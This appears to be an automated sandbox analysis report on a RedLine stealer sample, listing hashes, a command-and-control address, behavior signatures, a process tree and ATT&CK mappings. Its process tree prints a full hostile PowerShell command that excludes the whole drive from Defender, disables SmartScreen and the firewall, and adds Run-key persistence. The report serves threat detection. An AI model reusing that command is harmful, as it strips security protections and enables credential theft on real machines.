Analysis

  • max time kernel
    74s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    07-07-2022 14:32

General

  • Target

    47645.exe

  • Size

    1.8MB

  • MD5

    30b6d624d18490acfe42a1944c6d3172

  • SHA1

    35402770ba44139f50b5613c274a6b4607be3b16

  • SHA256

    d3d816173bc3f78e89278f938bef7408a249453c31e65018386aa241ee6cbf92

  • SHA512

    42f7b92a99a52c9a229cf09d945d5fcad38a4eecedfe609af6e77d9f5e966b37835a094c5b2121d20e6339fa450c0488af44046f5057e42021a61aae98cf6f4c

Malware Config

Extracted

Family

redline

Botnet

1327052997

C2

37.235.54.26:8362

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\47645.exe
    "C:\Users\Admin\AppData\Local\Temp\47645.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\Users\Admin\AppData\Local\Temp\doc.exe
      "C:\Users\Admin\AppData\Local\Temp\doc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:215400
    • C:\Users\Admin\AppData\Local\Temp\DllHost.exe
      "C:\Users\Admin\AppData\Local\Temp\DllHost.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
        3⤵
        • Modifies security service
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:21948
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
          4⤵
          • Modifies Windows Firewall
          PID:26224
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1352 -s 2020
        3⤵
        • Program crash
        PID:24240
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 444 -p 1352 -ip 1352
    1⤵
      PID:24024

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    2
    T1031

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Credentials in Files

    1
    T1081

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Collection

    Data from Local System

    1
    T1005

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\MicrosoftNetwork\System.exe
      Filesize

      440KB

      MD5

      6368031626da1f0d51bcac43104b123f

      SHA1

      5a340a1a3edc0bf03526e677a0415ffd156c139c

      SHA256

      11004aff3ee4083623a7e01cb06438e1b8879e2d00cf2350c26fb1003125577d

      SHA512

      442b04dc415858e61555b0f026c6ebb76fcad22f9317736766bb793dbcc22fc014ddb1973feaff05298905bf2e97036aa64ae96fa9cc9884d50015d17fbac465

    • C:\Users\Admin\AppData\Local\Temp\DllHost.exe
      Filesize

      440KB

      MD5

      6368031626da1f0d51bcac43104b123f

      SHA1

      5a340a1a3edc0bf03526e677a0415ffd156c139c

      SHA256

      11004aff3ee4083623a7e01cb06438e1b8879e2d00cf2350c26fb1003125577d

      SHA512

      442b04dc415858e61555b0f026c6ebb76fcad22f9317736766bb793dbcc22fc014ddb1973feaff05298905bf2e97036aa64ae96fa9cc9884d50015d17fbac465

    • C:\Users\Admin\AppData\Local\Temp\DllHost.exe
      Filesize

      440KB

      MD5

      6368031626da1f0d51bcac43104b123f

      SHA1

      5a340a1a3edc0bf03526e677a0415ffd156c139c

      SHA256

      11004aff3ee4083623a7e01cb06438e1b8879e2d00cf2350c26fb1003125577d

      SHA512

      442b04dc415858e61555b0f026c6ebb76fcad22f9317736766bb793dbcc22fc014ddb1973feaff05298905bf2e97036aa64ae96fa9cc9884d50015d17fbac465

    • C:\Users\Admin\AppData\Local\Temp\doc.exe
      Filesize

      2.4MB

      MD5

      401cdd939e412e97c9eab5766be869d9

      SHA1

      e20e78080715f336dd0fc8bb7476d1a4fbc2f7b0

      SHA256

      7b7964fd2f700fa35f362c4c112d8583feb112310ed9a2ac1fc017efb67ee573

      SHA512

      266070eb135694cf6bfbfd30868c20381fb7fe16a8c53f41c05a88e8b68baa6fc83823f6806fbd30d56cbf46a7fcada5da0364aebf3a8bbb32fed6abc697167b

    • C:\Users\Admin\AppData\Local\Temp\doc.exe
      Filesize

      2.4MB

      MD5

      401cdd939e412e97c9eab5766be869d9

      SHA1

      e20e78080715f336dd0fc8bb7476d1a4fbc2f7b0

      SHA256

      7b7964fd2f700fa35f362c4c112d8583feb112310ed9a2ac1fc017efb67ee573

      SHA512

      266070eb135694cf6bfbfd30868c20381fb7fe16a8c53f41c05a88e8b68baa6fc83823f6806fbd30d56cbf46a7fcada5da0364aebf3a8bbb32fed6abc697167b

    • memory/1352-132-0x0000000000000000-mapping.dmp
    • memory/4708-130-0x0000000000000000-mapping.dmp
    • memory/21948-136-0x0000000000000000-mapping.dmp
    • memory/21948-137-0x0000021E84D90000-0x0000021E84DB2000-memory.dmp
      Filesize

      136KB

    • memory/21948-139-0x00007FF8B9990000-0x00007FF8BA451000-memory.dmp
      Filesize

      10.8MB

    • memory/21948-141-0x00007FF8B9990000-0x00007FF8BA451000-memory.dmp
      Filesize

      10.8MB

    • memory/26224-138-0x0000000000000000-mapping.dmp
    • memory/215400-142-0x0000000000000000-mapping.dmp
    • memory/215400-143-0x0000000000400000-0x000000000041E000-memory.dmp
      Filesize

      120KB

    • memory/215400-148-0x0000000005BE0000-0x00000000061F8000-memory.dmp
      Filesize

      6.1MB

    • memory/215400-149-0x0000000005620000-0x0000000005632000-memory.dmp
      Filesize

      72KB

    • memory/215400-150-0x0000000005680000-0x00000000056BC000-memory.dmp
      Filesize

      240KB

    • memory/215400-151-0x0000000005930000-0x0000000005A3A000-memory.dmp
      Filesize

      1.0MB

    • memory/215400-152-0x0000000006AD0000-0x0000000006C92000-memory.dmp
      Filesize

      1.8MB

    • memory/215400-153-0x00000000071D0000-0x00000000076FC000-memory.dmp
      Filesize

      5.2MB

    • memory/215400-154-0x0000000006CA0000-0x0000000006D32000-memory.dmp
      Filesize

      584KB

    • memory/215400-155-0x0000000006D40000-0x0000000006DB6000-memory.dmp
      Filesize

      472KB

    • memory/215400-156-0x0000000007CB0000-0x0000000008254000-memory.dmp
      Filesize

      5.6MB

    • memory/215400-157-0x00000000070A0000-0x00000000070BE000-memory.dmp
      Filesize

      120KB

    • memory/215400-158-0x0000000007B90000-0x0000000007BF6000-memory.dmp
      Filesize

      408KB